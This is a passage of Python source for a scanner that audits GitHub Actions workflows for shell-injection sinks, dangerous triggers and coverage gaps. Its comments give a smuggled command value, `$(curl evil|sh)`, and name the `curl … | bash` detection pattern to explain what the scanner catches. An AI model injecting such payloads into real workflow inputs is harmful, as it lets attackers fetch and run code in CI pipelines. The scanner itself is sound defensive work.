  448. if normalize_context_brackets else content
  449. )
  450. lines = content.splitlines()
  451. compiled = re.compile(pattern, re.MULTILINE)
  452. for m in compiled.finditer(match_content):
  453. line_no = content.count("\n", 0, m.start()) + 1
  454. idx = line_no - 1
  455. start = max(0, idx - 1)
  456. stop = min(len(lines), idx + 2)
  457. evidence_lines = []
  458. for i in range(start, stop):
  459. marker = " <-- here" if i == idx else ""
  460. evidence_lines.append(f"{i + 1:>4}: {lines[i]}{marker}")
  461. yield RawHit(
  462. line=line_no,
  463. evidence="\n".join(evidence_lines),
  464. match_text=m.group(0),
  465. )
  466. def _walk_yaml_path(node: Any, parts: list[str]) -> Iterator[Any]:
  467. if not parts:
  468. yield node
  469. return
  470. head, *rest = parts
  471. if isinstance(node, dict):
  472. if head == "*":
  473. for v in node.values():
  474. yield from _walk_yaml_path(v, rest)
  475. elif head in node:
  476. yield from _walk_yaml_path(node[head], rest)
  477. elif isinstance(node, list) and head == "*":
  478. for item in node:
  479. yield from _walk_yaml_path(item, rest)
  480. def _read_text_safe(file_path: Path) -> str:
  481. """Read a file as text. Logs and returns ``""`` on OSError.
  482. Returning ``""`` lets callers short-circuit cleanly; the warning
  483. keeps the failure visible so a permission-denied file isn't silently
  484. excluded from the scan.
  485. """
  486. try:
  487. return file_path.read_text(encoding="utf-8", errors="replace")
  488. except OSError as e:
  489. logger.warning("Could not read %s: %s", file_path, e)
  490. return ""
  491. # Files whose parse failure has already been reported this process. Every
  492. # detector re-parses each workflow, so one broken file printed the same
  493. # multi-line PyYAML error seven to nine times and buried the rest of stderr.
  494. # The file is still reported once, and still recorded as a coverage gap.
  495. _PARSE_FAILURES_LOGGED: set[str] = set()
  496. def _parse_yaml_text(text: str, file_path: Path, quiet: bool = False) -> Any:
  497. """Parse already-read YAML text. ``file_path`` is used only for logging.
  498. ``quiet`` is for a second pass over files the scan has already reported on
  499. (the scored config facts re-parse every workflow): the failure is real, but
  500. announcing it again tells the operator nothing new.
  501. """
  502. try:
  503. return yaml.safe_load(text)
  504. except yaml.YAMLError as e:
  505. key = str(file_path)
  506. if not quiet and key not in _PARSE_FAILURES_LOGGED:
  507. _PARSE_FAILURES_LOGGED.add(key)
  508. logger.warning("YAML parse error in %s: %s", file_path, e)
  509. else:
  510. logger.debug("YAML parse error in %s (already reported)", file_path)
  511. return None
  512. def _probe_scannability(file_path: Path) -> str | None:
  513. """Return a coverage-gap reason if a workflow can't be fully scanned, else None.
  514. The per-detector early-returns (``if doc is None: return`` and the
  515. ``_read_text_safe`` -> ``""`` short-circuit) collapse a file that *failed*
  516. to read or parse into the same empty result as a file that scanned cleanly.
  517. For a security scanner that silently turns a missing check into a clean
  518. bill of health, so ``scan()`` probes every workflow once and records the
  519. failures in ``scan_incomplete`` so report.py can name them loudly.
  520. Outcomes:
  521. - OSError on read -> NO detector evaluated the file (gap covers all patterns).
  522. - ``yaml.YAMLError`` -> regex detectors still ran on the raw text, but every
  523. YAML-based detector (yaml-path, yaml-on-trigger, the parse half of
  524. yaml-run-injection, all correlations, and ``affected_jobs_for``) yielded
  525. nothing — the file is NOT clean for those patterns, it was never checked.
  526. - valid YAML but NOT a top-level mapping (a list/scalar) -> same problem:
  527. every YAML detector bails on ``if not isinstance(doc, dict)``, so it was
  528. never evaluated for those patterns; record a gap, don't call it clean.
  529. - readable + parses to a mapping (or a legitimately empty file) -> ``None``.
  530. """
  531. try:
  532. text = file_path.read_text(encoding="utf-8", errors="replace")
  533. except OSError as e:
  534. return f"unreadable — not scanned for any pattern ({e})"
  535. try:
  536. doc = yaml.safe_load(text)
  537. except yaml.YAMLError as e:
  538. # PyYAML messages span several lines (problem + context + marker);
  539. # collapse to one line so the report banner stays scannable.
  540. detail = " ".join(str(e).split())
  541. return (
  542. "YAML parse error — not scanned for any YAML-based pattern "
  543. f"(regex patterns still ran): {detail}"
  544. )
  545. # Valid YAML, but a top-level list/scalar rather than a workflow mapping:
  546. # every YAML-based detector short-circuits on `not isinstance(doc, dict)`,
  547. # so the file was NOT evaluated for those patterns and must not read as
  548. # clean. An empty file (`doc is None`) is a legitimately-empty workflow.
  549. if doc is not None and not isinstance(doc, dict):
  550. return (
  551. f"top-level YAML is a {type(doc).__name__}, not a workflow mapping "
  552. "— no YAML-based pattern was evaluated (regex patterns still ran)"
  553. )
  554. return None
  555. def _find_line_for_top_level_key(lines: list[str], key: str) -> int | None:
  556. """Best-effort line number for a top-level key in pre-split YAML lines.
  557. Returns ``None`` when the key can't be located so callers can avoid
  558. pointing the user at line 1 with no real evidence. Used for evidence
  559. rendering on yaml-path detectors where the loader doesn't preserve
  560. source locations.
  561. """
  562. pattern = re.compile(rf"^\s*{re.escape(key)}\s*:")
  563. for i, line in enumerate(lines, start=1):
  564. if pattern.match(line):
  565. return i
  566. return None
  567. def detect_yaml_path(
  568. file_path: Path, yaml_path: str, value_filter: str | None = None
  569. ) -> Iterator[RawHit]:
  570. """Fire when ``yaml_path`` resolves in the document.
  571. When ``value_filter`` is supplied, only fire if at least one resolved
  572. leaf equals it (case-insensitive, after str-cast). Lets a single
  573. detector ignore hardened spellings like ``id-token: none`` while
  574. still flagging ``id-token: write``.
  575. """
  576. text = _read_text_safe(file_path)
  577. if not text:
  578. return
  579. doc = _parse_yaml_text(text, file_path)
  580. if doc is None:
  581. return
  582. parts = [p for p in yaml_path.split(".") if p]
  583. matches = list(_walk_yaml_path(doc, parts))
  584. if not matches:
  585. return
  586. if value_filter is not None:
  587. wanted = value_filter.strip().lower()
  588. if not any(str(leaf).strip().lower() == wanted for leaf in matches):
  589. return
  590. lines = text.splitlines()
  591. # We don't have source positions from yaml.safe_load. Approximate by
  592. # locating the top-level key in the file.
  593. top_key = parts[0] if parts else ""
  594. located = _find_line_for_top_level_key(lines, top_key) if top_key else None
  595. if located is None:
  596. line_no = 1
  597. evidence = f"(matched yaml path) {yaml_path}"
  598. else:
  599. line_no = located
  600. end = min(len(lines), line_no + 5)
  601. evidence = "\n".join(
  602. f"{i + 1:>4}: {lines[i]}" for i in range(line_no - 1, end)
  603. )
  604. yield RawHit(
  605. line=line_no,
  606. evidence=evidence,
  607. match_text=yaml_path,
  608. )
  609. def _get_on_node(doc: Any) -> Any:
  610. """Return the workflow's ``on:`` value, accounting for YAML 1.1.
  611. PyYAML's default loader coerces the bareword key ``on`` to the
  612. boolean ``True`` (YAML 1.1 inheritance), so we check both shapes.
  613. """
  614. if not isinstance(doc, dict):
  615. return None
  616. if "on" in doc:
  617. return doc["on"]
  618. if True in doc:
  619. return doc[True]
  620. return None
  621. def _on_trigger_names(on_node: Any) -> list[str]:
  622. """Normalize the three legal shapes of ``on:`` to a list of trigger names.
  623. - ``on: push`` (string) → ``["push"]``
  624. - ``on: [push, issues]`` (list) → ``["push", "issues"]``
  625. - ``on: { push: ..., issues: ... }`` (mapping) → ``["push", "issues"]``
  626. """
  627. if isinstance(on_node, str):
  628. return [on_node]
  629. if isinstance(on_node, list):
  630. return [str(item) for item in on_node if isinstance(item, str)]
  631. if isinstance(on_node, dict):
  632. return [str(key) for key in on_node.keys() if isinstance(key, str)]
  633. return []
  634. def detect_yaml_on_trigger(
  635. file_path: Path, danger_keys: list[str]
  636. ) -> Iterator[RawHit]:
  637. """Fire when ``on:`` declares any trigger from a configured danger list.
  638. Handles all three legal ``on:`` shapes (string, list, mapping) and
  639. the YAML 1.1 ``on`` → ``True`` boolean coercion. Avoids the
  640. false-positive class that plain ``^\\s+TRIGGER:`` regex hits when
  641. the same word appears under ``permissions:``, ``with:``, etc.
  642. """
  643. text = _read_text_safe(file_path)
  644. if not text:
  645. return
  646. doc = _parse_yaml_text(text, file_path)
  647. if doc is None:
  648. return
  649. on_node = _get_on_node(doc)
  650. if on_node is None:
  651. return
  652. triggers = _on_trigger_names(on_node)
  653. danger_set = set(danger_keys)
  654. hit_keys = sorted(set(triggers) & danger_set)
  655. if not hit_keys:
  656. return
  657. lines = text.splitlines()
  658. for trigger in hit_keys:
  659. # Try to locate the trigger keyword inside the on: block. Fall
  660. # back to the on: header line if we can't pinpoint it.
  661. pattern = re.compile(rf"^\s+{re.escape(trigger)}\s*:")
  662. located: int | None = None
  663. for i, line in enumerate(lines, start=1):
  664. if pattern.match(line):
  665. located = i
  666. break
  667. if located is None:
  668. located = _find_line_for_top_level_key(lines, "on") or 1
  669. evidence = f"on: includes {trigger}"
  670. else:
  671. idx = located - 1
  672. start = max(0, idx - 1)
  673. stop = min(len(lines), idx + 2)
  674. evidence = "\n".join(
  675. f"{i + 1:>4}: {lines[i]}{' <-- here' if i == idx else ''}"
  676. for i in range(start, stop)
  677. )
  678. yield RawHit(line=located, evidence=evidence, match_text=trigger)
  679. # Context fields GitHub generates itself, whose VALUE SHAPE cannot carry shell
  680. # metacharacters: integers (`.number`, `.id`), 40-hex object ids (`.sha`,
  681. # `.head_sha`, `.merge_commit_sha`) and booleans (`.repo.fork`, `.merged`).
  682. # Interpolating one of these into a `run:` step is not an injection sink — no
  683. # attacker-supplied text reaches the shell — and flagging them buried the real
  684. # text-shaped hits (PR titles, bodies, branch names, comments, labels,
  685. # client_payload) under noise. Everything text-shaped stays in scope.
  686. #
  687. # These are suffixes of a fully-qualified `github.*` context path, and
  688. # `_is_shape_safe_expression` enforces that prefix: a bare `endswith` would
  689. # suppress any expression that merely ends in `.sha`.
  690. #
  691. # `github.event.action` used to sit in a companion exact-match set. It was
  692. # dead code: the P14.10 regex only matches `github.event.<issue|comment|
  693. # pull_request|discussion|workflow_run|head_commit|inputs|client_payload>.*`,
  694. # `github.event.inputs.*` and `github.head_ref`, so a bare
  695. # `github.event.action` is never a match to suppress in the first place.
  696. #
  697. # `.commits` joins the integer arm: on a `pull_request` payload it is the
  698. # commit COUNT, the same GitHub-generated integer shape as `.number`. grafana's
  699. # `trufflehog.yml` wrote `$(( ${{ github.event.pull_request.commits }} + 2 ))`
  700. # — arithmetic on it, which only reads at all because the value is an integer —
  701. # and the finding rendered HIGH. (The push-event `github.event.commits` ARRAY
  702. # is a different field and is not a P14.10 match at all: the regex only reaches
  703. # `github.event.<issue|comment|pull_request|discussion|workflow_run|
  704. # head_commit|inputs|client_payload>.*`.)
  705. #
  706. # `.author_association` is not a number but is just as shape-constrained: it is
  707. # a CLOSED ENUM GitHub fills in (OWNER, MEMBER, COLLABORATOR, CONTRIBUTOR,
  708. # FIRST_TIME_CONTRIBUTOR, FIRST_TIMER, MANNEQUIN, NONE). No member carries a
  709. # shell metacharacter and no attacker can add a member, so interpolating one
  710. # into `run:` is not an injection sink. This REVERSES a class the catalog
  711. # previously declared in scope ("author associations" was listed among the
  712. # text-shaped fields that stay) — react's four `shared_label_core_team_prs` /
  713. # `*_discord_notify` findings were all this shape and all false.
  714. # `.login` is a GitHub account/org LOGIN — `github.event.*.user.login`,
  715. # `.sender.login`, `.repo.owner.login`, etc. GitHub enforces the login charset
  716. # (alphanumerics and single, non-leading/trailing hyphens, ≤39 chars), so it
  717. # cannot carry a shell metacharacter — not even the login an attacker chose for
  718. # their own fork account. So `github.event.issue.user.login` in a `run:` block
  719. # is not an injection sink and must not fire P14.10 HIGH (astro's headline
  720. # finding was exactly this false positive). The `github.` prefix gate plus the
  721. # `_ATTACKER_FILLED_PREFIXES` carve-out still apply: a `.login` under
  722. # `client_payload.*` / `inputs.*` is caller-filled and stays in scope.
  723. _SAFE_EXPR_SUFFIXES = (
  724. ".number", ".id", ".commits",
  725. ".sha", ".head_sha", ".merge_commit_sha",
  726. ".fork", ".merged",
  727. ".author_association",
  728. ".login",
  729. )
  730. # …but the value-shape argument only holds where GITHUB fills the field in.
  731. # Three namespaces are filled in by whoever fired the event: `client_payload`
  732. # is the arbitrary JSON body of a `repository_dispatch`, and both
  733. # `github.event.inputs.*` (the legacy spelling) and the bare `inputs.*` context
  734. # (the modern `workflow_dispatch` / `workflow_call` spelling) are caller-chosen
  735. # inputs. A caller is free to send `{"sha": "$(curl evil|sh)"}` — the NAME says
  736. # sha, nothing enforces the shape. So a safe-looking suffix under these
  737. # prefixes proves nothing, and the catalog says so too. They stay in scope
  738. # whatever they are called.
  739. _ATTACKER_FILLED_PREFIXES = (
  740. "github.event.client_payload.",
  741. "github.event.inputs.",
  742. "inputs.",
  743. )
  744. # Matches a detector found but could not anchor to a raw line, and therefore
  745. # did NOT report. Collected here rather than returned, because detectors are
  746. # generators whose only channel to the caller is the RawHit stream — and a
  747. # dropped match is the opposite of a hit. `scan()` clears this before a run and
  748. # emits it as its OWN findings-JSON list, `dropped_matches`.
  749. #
  750. # It is deliberately NOT folded into `scan_incomplete`. Those two are different
  751. # facts and everything downstream reads them differently: `scan_incomplete`
  752. # means "this FILE could not be read or parsed", which makes every workflow-
  753. # scoped config fact unmeasurable. A dropped match means the file parsed
  754. # perfectly and one `run:` step inside it could not be anchored to raw lines.
  755. # Folding the second into the first demoted every fact of a healthy repo to
  756. # unmeasured and graded it 0.0/100 over a single folded `run: >` scalar, and
  757. # made the banner count matches while calling them files. Coverage still
  758. # degrades to PARTIAL on either — an unanchored step is a real hole — but the
  759. # report says which hole it is.
  760. # THREE channels, because "we did not scan this" and "we scanned this and
  761. # deliberately said nothing" are opposite claims about the same step, and the
  762. # report's loudest honesty banner ("…were NOT scanned … This is not a clean
  763. # result") is only true of one of them:
  764. #
  765. # UNANCHORED a `run:` step a detector matched but could not tie to a raw
  766. # line. The banner was written for exactly this and keeps it.
  767. # NOT_SCANNED a real coverage gap that is NOT an unanchorable run step — a
  768. # computed `working-directory:`, a `ref:` chosen at run time,
  769. # shell that would not parse. Still not a clean result; its own
  770. # sentence, because the headline's wording does not describe it.
  771. # SUPPRESSED a finding the scanner reached and deliberately did not report,
  772. # above all a fetch pinned to a full commit id. INFORMATIONAL:
  773. # it must never touch coverage, or a repository that did exactly
  774. # what the fix recipe says gets told its report is unreliable.
  775. _KIND_UNANCHORED = "unanchored-run-step"
  776. _KIND_NOT_SCANNED = "not-scanned"
  777. _KIND_SUPPRESSED = "suppressed"
  778. # PARALLEL_GROUP a `parallel:` group the step walker could not read as
  779. # written. A coverage note, but tagged `scope: parallel-group` so
  780. # the report headlines it as a group, not as a step that "was
  781. # read but carries a value this scan cannot know".
  782. _KIND_PARALLEL_GROUP = "parallel-group"
  783. _DROPPED_MATCHES: list[dict[str, str]] = []
  784. def _record_dropped_match(file_path: Path, reason: str,
  785. kind: str = _KIND_UNANCHORED) -> None:
  786. _DROPPED_MATCHES.append(
  787. {"file": str(file_path), "reason": reason, "kind": kind})
  788. def _repo_relative(path: str, root: Path) -> str:
  789. """A workflow path as it should appear in the report: relative to the
  790. audited root, and NEVER absolute.
  791. The report is a shareable artifact — an absolute path leaks the operator's
  792. filesystem layout into it. `relative_to` raises when the file genuinely
  793. resolves outside the root (a symlinked workflow directory), and the
  794. fallback there used to hand the raw absolute path straight through, so the
  795. one branch that needed the guard was the one branch that skipped it.
  796. """
  797. try:
  798. return str(Path(path).resolve().relative_to(root.resolve()))
  799. except ValueError:
  800. return os.path.relpath(str(path), str(root))
  801. def _is_shape_safe_expression(snippet: str) -> bool:
  802. """Is this matched **template expression** one whose value shape rules out
  803. shell injection? See ``_SAFE_EXPR_SUFFIXES`` and
  804. ``_ATTACKER_FILLED_PREFIXES``.
  805. Hard-gated to text that really is a ``${{ … }}`` template expression. The
  806. same run-scalar detector also carries the shell-command regexes (P14.24's
  807. `curl … | bash`), whose matches are arbitrary shell text — and a
  808. suppression list written about `${{ … }}` value shapes has no jurisdiction
  809. there. Without this gate a future `_SAFE_EXPR_SUFFIXES` entry that happened
  810. to end a `curl … | bash` command would silently suppress a HIGH finding.
  811. Anything that is not a template expression is never shape-safe.
  812. """
  813. expr = snippet.strip()
  814. if not expr.startswith("${{"):
  815. return False
  816. expr = expr[3:]
  817. if expr.endswith("}}"):
  818. expr = expr[:-2]
  819. expr = expr.strip()
  820. # `${{ A || B }}` is shape-safe only when EVERY operand is. Two wrong rules
  821. # were tried and both lose findings:
  822. # - judging the whole expression, or its LAST operand, lets a safe-shaped
  823. # fallback launder a text-shaped primary — cal.com's
  824. # `${{ github.head_ref || github.ref_name }}` is a branch name first and
  825. # a fallback second;
  826. # - judging only the FIRST operand assumes the first operand is always
  827. # truthy. It is not: an event field absent on THIS event is empty, so
  828. # `${{ github.event.pull_request.number || github.event.issue.title }}`
  829. # resolves to the issue title on an `issues` trigger and the title
  830. # reaches the shell. Same for `.merged` (false on an open PR) and any
  831. # other falsy-able shape-safe field.
  832. # Testing every operand keeps the cal.com fix and closes both.
  833. operands = [p.strip() for p in expr.split("||")]
  834. return all(_is_shape_safe_operand(p) for p in operands if p)
  835. _LITERAL_OPERAND_RE = re.compile(r"""^(?:'[^']*'|"[^"]*"|-?\d+(?:\.\d+)?)$""")
  836. def _is_shape_safe_operand(expr: str) -> bool:
  837. """One `||` operand of a template expression, judged on its own."""
  838. # A quoted string or a number literal is author-written, not attacker text:
  839. # `${{ github.event.pull_request.title || '' }}` is unsafe because of the
  840. # TITLE, and the `''` must not be what decides it either way.
  841. if _LITERAL_OPERAND_RE.match(expr):
  842. return True
  843. if expr.startswith(_ATTACKER_FILLED_PREFIXES):
  844. return False
  845. # Anchored to a fully-qualified `github.*` context path. A bare
  846. # `endswith` would suppress ANY text ending in `.sha` — including
  847. # attacker-controlled text that merely looks like a context path.
  848. if not expr.startswith("github."):
  849. return False
  850. return expr.endswith(_SAFE_EXPR_SUFFIXES)
  851. def detect_yaml_run_injection(
  852. file_path: Path, pattern: str, *, normalize_context_brackets: bool = False,
  853. ) -> Iterator[RawHit]:
  854. """Apply a regex only to the text of ``jobs.*.steps.*.run`` scalars.
  855. Avoids the false-positive class where the same template expression
  856. appears inside ``with:`` (action input) or ``env:`` (env var) blocks
  857. — those don't expose shell. The regex is meant for shell-injection
  858. sinks, and only ``run:`` scalars are shell.
  859. Line numbers come from the composed YAML: each leaf step is paired, by
  860. position, with its node from `_iter_step_nodes` (the lockstep twin of
  861. `_iter_job_steps`), and a snippet is searched for only inside that step's
  862. own ``run:`` scalar span. The same template expression appearing earlier
  863. (in ``env:`` or ``with:``) cannot steal the attribution, and neither can
  864. a flow-style ``{run: ...}`` child, a group the walker could not read, or
  865. a ``parallel:`` key written above its step's own ``run:`` — the raw-text
  866. cursor this replaced was misled by all three.
  867. A YAML alias (``steps: *common``) expands into parsed steps whose ``run:``
  868. node is one an earlier step already used: that node is attributed once,
  869. and every later use is recorded as a dropped match (a coverage gap the
  870. report names) rather than skipped in silence — silence rendered as
  871. complete coverage over steps nothing ever scanned. A step whose node
  872. cannot be found at all is recorded the same way.
  873. """
  874. text = _read_text_safe(file_path)
  875. if not text:
  876. return
  877. doc = _parse_yaml_text(text, file_path)
  878. if not isinstance(doc, dict):
  879. return
  880. jobs = doc.get("jobs")
  881. if not isinstance(jobs, dict):
  882. return
  883. compiled = re.compile(pattern)
  884. match_text = (
  885. _normalize_context_brackets(text)
  886. if normalize_context_brackets else text
  887. )
  888. lines = text.splitlines()
  889. triggers = _on_trigger_names(_get_on_node(doc))
  890. job_nodes = _job_nodes(text)
  891. seen_runs: set[int] = set()
  892. unanchored_reported = False
  893. for job_key, job in jobs.items():
  894. if not isinstance(job, dict):
  895. continue
  896. leaves = list(_iter_job_steps(job))
  897. nodes = list(_iter_step_nodes(
  898. _node_keys(job_nodes[job_key]).get("steps")
  899. if job_key in job_nodes else None))
  900. if len(nodes) != len(leaves):
  901. nodes = [] # unpaired: anchor nothing
  902. for k, job_step in enumerate(leaves):
  903. step = job_step.step
  904. run_text = step.get("run")
  905. if not isinstance(run_text, str):
  906. continue
  907. run_node = _node_keys(nodes[k]).get("run") if nodes else None
  908. if not isinstance(run_node, yaml.ScalarNode) \
  909. or id(run_node) in seen_runs:
  910. run_node = None
  911. if run_node is None:
  912. # No source line of its own for this run: scalar (an alias
  913. # re-use of a node already attributed, or no node found) — we
  914. # cannot scan this step's shell without risking attribution to
  915. # another step. This is a HOLE, not a clean step, so it is
  916. # recorded as a coverage gap. Once per file: an alias can
  917. # expand into many such steps, and one honest line beats a
  918. # hundred.
  919. if not unanchored_reported:
  920. unanchored_reported = True
  921. logger.warning(
  922. "yaml-run-injection: %s has run: step(s) whose shell "
  923. "text could not be anchored to a raw run: line "
  924. "(YAML anchor/alias expansion) — those steps were "
  925. "NOT scanned for injection sinks; review them "
  926. "manually", file_path,
  927. )
  928. _record_dropped_match(
  929. file_path,
  930. "a run: step's shell text could not be anchored to a "
  931. "raw run: line (YAML anchor/alias expansion yields "
  932. "more parsed steps than the file has run: tokens) — "
  933. "it was NOT scanned for injection sinks; review the "
  934. "step manually",
  935. )
  936. continue
  937. seen_runs.add(id(run_node))
  938. # Search only the scalar's own source span: a snippet that is not
  939. # there verbatim is a drop, never a match borrowed from a later
  940. # step.
  941. search_cursor = run_node.start_mark.index
  942. run_end = run_node.end_mark.index
  943. match_run_text = (
  944. _normalize_context_brackets(run_text)
  945. if normalize_context_brackets else run_text
  946. )
  947. for m in compiled.finditer(match_run_text):
  948. snippet = m.group(0)
  949. if _is_shape_safe_expression(snippet):
  950. logger.debug(
  951. "yaml-run-injection: %s in %s is a GitHub-generated "
  952. "value-shape-safe field — not an injection sink",
  953. snippet, file_path,
  954. )
  955. continue
  956. idx = match_text.find(snippet, search_cursor, run_end)
  957. if idx < 0:
  958. # The match exists in the parsed scalar but not
  959. # verbatim in the raw file. This happens with YAML
  960. # folded scalars (``run: >``), where PyYAML
  961. # collapses linebreaks into spaces, so a snippet
  962. # spanning a fold becomes unfindable. Safe for
  963. # today's P14.10 sub-patterns — each is a single-
  964. # line ``${{ ... }}`` expression that survives
  965. # folding identically — but a future multi-token
  966. # pattern would be dropped here. Warn (not debug) so
  967. # the drop is visible at the default log level and
  968. # explicitly say the match is NOT reported, matching
  969. # how the recursion-cap surfaces its coverage limit.
  970. logger.warning(
  971. "yaml-run-injection: snippet %r matched the parsed "
  972. "run: scalar but not the raw file text (likely a "
  973. "folded scalar) in %s — this match is NOT reported; "
  974. "verify the step manually",
  975. snippet,
  976. file_path,
  977. )
  978. _record_dropped_match(
  979. file_path,
  980. f"a template expression ({snippet}) matched inside a "
  981. "run: step but could not be located in the raw file "
  982. "(folded scalar) — it is NOT reported; review the step "
  983. "manually",
  984. )
  985. continue
  986. search_cursor = idx + 1
  987. line_no = text[:idx].count("\n") + 1
  988. lidx = line_no - 1
  989. start = max(0, lidx - 1)
  990. stop = min(len(lines), lidx + 2)
  991. evidence = "\n".join(
  992. f"{i + 1:>4}: {lines[i]}"
  993. f"{' <-- here' if i == lidx else ''}"
  994. for i in range(start, stop)
  995. )
  996. # The gate note is a claim the SCANNER assembled, and this
  997. # detector's evidence is a verbatim excerpt — concatenating
  998. # them would render scanner prose inside the report's ```yaml
  999. # source fence. `derived_note` is the channel for exactly
  1000. # this shape (see RawHit).
  1001. #
  1002. # Only the dead-field verdict is carried here. The generic
  1003. # "stands only if that gate can be bypassed" is true of the
  1004. # correlated chains, whose payoff leg IS the untrusted
  1005. # trigger; it is false of an injection, which this catalog
  1006. # entry says is worth fixing even on a trusted trigger. And a
  1007. # step with its own `if:` withdraws the verdict entirely: the
  1008. # finding is the STEP, so a statement about who reaches the
  1009. # JOB would talk past the live control.
  1010. gate = "" if job_step.gated else _gate_note(
  1011. job, triggers, dead_field_only=True,
  1012. )
  1013. yield RawHit(
  1014. line=line_no,
  1015. evidence=evidence,
  1016. match_text=snippet,
  1017. derived_note=gate.strip() or None,
  1018. )
  1019. def detect_yaml_path_absent(
  1020. file_path: Path, yaml_path: str
  1021. ) -> Iterator[RawHit]:
  1022. text = _read_text_safe(file_path)
  1023. if not text:
  1024. return
  1025. doc = _parse_yaml_text(text, file_path)
  1026. if doc is None:
  1027. return
  1028. parts = [p for p in yaml_path.split(".") if p]
  1029. matches = list(_walk_yaml_path(doc, parts))
  1030. # `permissions: null` (or the bare `permissions:` spelling) parses
  1031. # to None — GitHub Actions treats that identically to omitting the
  1032. # key, so we must fire. An empty mapping (`permissions: {}`) is
  1033. # the hardened state and must NOT fire. Distinguish by treating
  1034. # all-None resolution as absent.
  1035. if any(m is not None for m in matches):
  1036. return
  1037. yield RawHit(
  1038. line=1,
  1039. evidence=f"(missing) {yaml_path}",
  1040. match_text=yaml_path,
  1041. derived=True,
  1042. )
  1043. def affected_jobs_for(file_path: Path) -> list[str]:
  1044. """Return sorted job names from a workflow file.
  1045. Returns an empty list on any of three failure modes (unreadable,
  1046. unparseable, malformed) — each logged separately so a parse error
  1047. doesn't masquerade as "this workflow has no jobs".
  1048. """
  1049. text = _read_text_safe(file_path)
  1050. if not text:
  1051. return []
  1052. doc = _parse_yaml_text(text, file_path)
  1053. if doc is None:
  1054. return []
  1055. if not isinstance(doc, dict):
  1056. logger.debug("Workflow %s did not parse to a mapping", file_path)
  1057. return []
  1058. jobs = doc.get("jobs")
  1059. if jobs is None:
  1060. return []
  1061. if not isinstance(jobs, dict):
  1062. logger.debug("Workflow %s has non-mapping jobs:", file_path)
  1063. return []
  1064. return sorted(str(k) for k in jobs.keys())
  1065. def job_line_ranges(file_path: Path) -> list[tuple[str, int, int]] | None:
  1066. """``(job_name, first_line, last_line)`` for every job, in file order.
  1067. ``yaml.safe_load`` throws line numbers away, so this composes the document
  1068. into its node tree — which carries source marks — and reads the marks off
  1069. the ``jobs:`` mapping. A node's end mark usually points at the first token
  1070. of the NEXT job, so each range is clipped to the line before the following
  1071. job starts; otherwise adjacent jobs would overlap and a line could be
  1072. attributed to two of them. The LAST job is clipped at the end of the
  1073. ``jobs:`` node itself, so a workflow-level key written after ``jobs:``
  1074. (``defaults:``, a trailing ``permissions:``) is not swallowed into it.
  1075. Three return values, not two:
  1076. - a list of ranges → attribution worked (``[]`` legitimately means "this
  1077. workflow declares no jobs").
  1078. - ``None`` → the ranges could not be COMPUTED (the document would not
  1079. compose, or its root/``jobs:`` node is not a mapping). Callers must
  1080. render that as an unknown, not as "this line is workflow-scope" — those
  1081. look identical downstream and one of them is a false claim.
  1082. """
  1083. text = _read_text_safe(file_path)
  1084. if not text:
  1085. return None
  1086. try:
  1087. root = yaml.compose(text)
  1088. except yaml.YAMLError:
  1089. return None
  1090. if not isinstance(root, yaml.MappingNode):
  1091. return None
  1092. for key, value in root.value:
  1093. if getattr(key, "value", None) != "jobs":
  1094. continue
  1095. if not isinstance(value, yaml.MappingNode):
  1096. return None
  1097. # The `jobs:` node's own end mark. PyYAML points it at the first token
  1098. # AFTER the mapping, which is either a workflow-level key (so the
  1099. # jobs block really ended the line before) or plain EOF (so that line
  1100. # is still the last job's). Column-0 content is the tell: workflow-
  1101. # level keys are unindented, job bodies never are.
  1102. jobs_end = value.end_mark.line + 1
  1103. _lines = text.splitlines()
  1104. if 1 <= jobs_end <= len(_lines) and _lines[jobs_end - 1][:1].strip():
  1105. jobs_end -= 1
  1106. raw = [
  1107. (str(jk.value), jk.start_mark.line + 1, jv.end_mark.line + 1)
  1108. for jk, jv in value.value
  1109. if hasattr(jk, "value")
  1110. ]
  1111. raw.sort(key=lambda r: r[1])
  1112. clipped: list[tuple[str, int, int]] = []
  1113. for i, (name, start, end) in enumerate(raw):
  1114. if i + 1 < len(raw):
  1115. end = min(end, raw[i + 1][1] - 1)
  1116. else:
  1117. end = min(end, jobs_end)
  1118. clipped.append((name, start, max(start, end)))
  1119. return clipped
  1120. return []
  1121. def job_at_line(
  1122. ranges: list[tuple[str, int, int]] | None, line: int
  1123. ) -> str | None:
  1124. """The job containing ``line``, or None when the line sits outside every
  1125. job (workflow-level keys such as ``on:`` or a workflow-scope
  1126. ``permissions:``) — those findings keep the whole file's job list.
  1127. ``ranges is None`` (attribution uncomputable) also yields None, but the
  1128. caller is expected to have branched on that first: the two Nones mean
  1129. different things and only one of them means "workflow-scope"."""
  1130. for name, start, end in ranges or []:
  1131. if start <= line <= end:
  1132. return name
  1133. return None
  1134. def _is_workflow_call_only(file_path: Path) -> bool:
  1135. """True when this workflow's ONLY trigger is ``workflow_call``.
  1136. Such a file is a reusable workflow: it never starts a run of its own, and
  1137. GitHub attributes every run it takes part in to the CALLING workflow. Its
  1138. own ``/actions/workflows/<file>/runs`` endpoint therefore answers 200 with
  1139. ``total_count: 0`` even when the file executes on every pull request — see
  1140. ``fetch_workflow_activity``.
  1141. """
  1142. text = _read_text_safe(file_path)
  1143. if not text:
  1144. return False
  1145. doc = _parse_yaml_text(text, file_path, quiet=True)
  1146. if not isinstance(doc, dict):
  1147. return False
  1148. return set(_on_trigger_names(_get_on_node(doc))) == {"workflow_call"}
  1149. def fetch_workflow_activity(
  1150. repo: str, workflow_basename: str, workflow_call_only: bool = False,
  1151. ) -> dict[str, Any]:
  1152. """Fetch recent-run activity for a workflow via gh CLI.
  1153. On success returns ``{"runs_30d", "last_run", "dormant"}``. On any
  1154. failure returns ``{"status": "unavailable", "reason": ...}`` — NOT an
  1155. empty dict. The distinction matters: ``{}`` means "not enriched" (no
  1156. ``--repo``), whereas an enrichment that was *attempted and failed* must
  1157. not be silently read as "active". A finding whose activity check failed
  1158. would otherwise look identical to an active one (the dormancy flag just
  1159. goes missing), so report.py renders the unavailable state distinctly
  1160. instead of defaulting it to active. Each failure also logs a warning.
  1161. ``workflow_call_only`` marks a REUSABLE workflow (its `on:` declares
  1162. nothing but `workflow_call`). GitHub attributes a reusable workflow's runs
  1163. to the caller, so this endpoint returns 200 with an EMPTY run list for a
  1164. file that executes on every pull request. Reading that as "dormant" was
  1165. wrong in the way that matters: vercel/next.js's `pr_stack_optimizer.yml`
  1166. and microsoft/playwright's `tests_docker.yml` both run constantly, and both
  1167. carried a "verify before prioritizing" note on live HIGH findings — and,
  1168. worse, a dormant group is dropped from the report's `all` fix selection, so
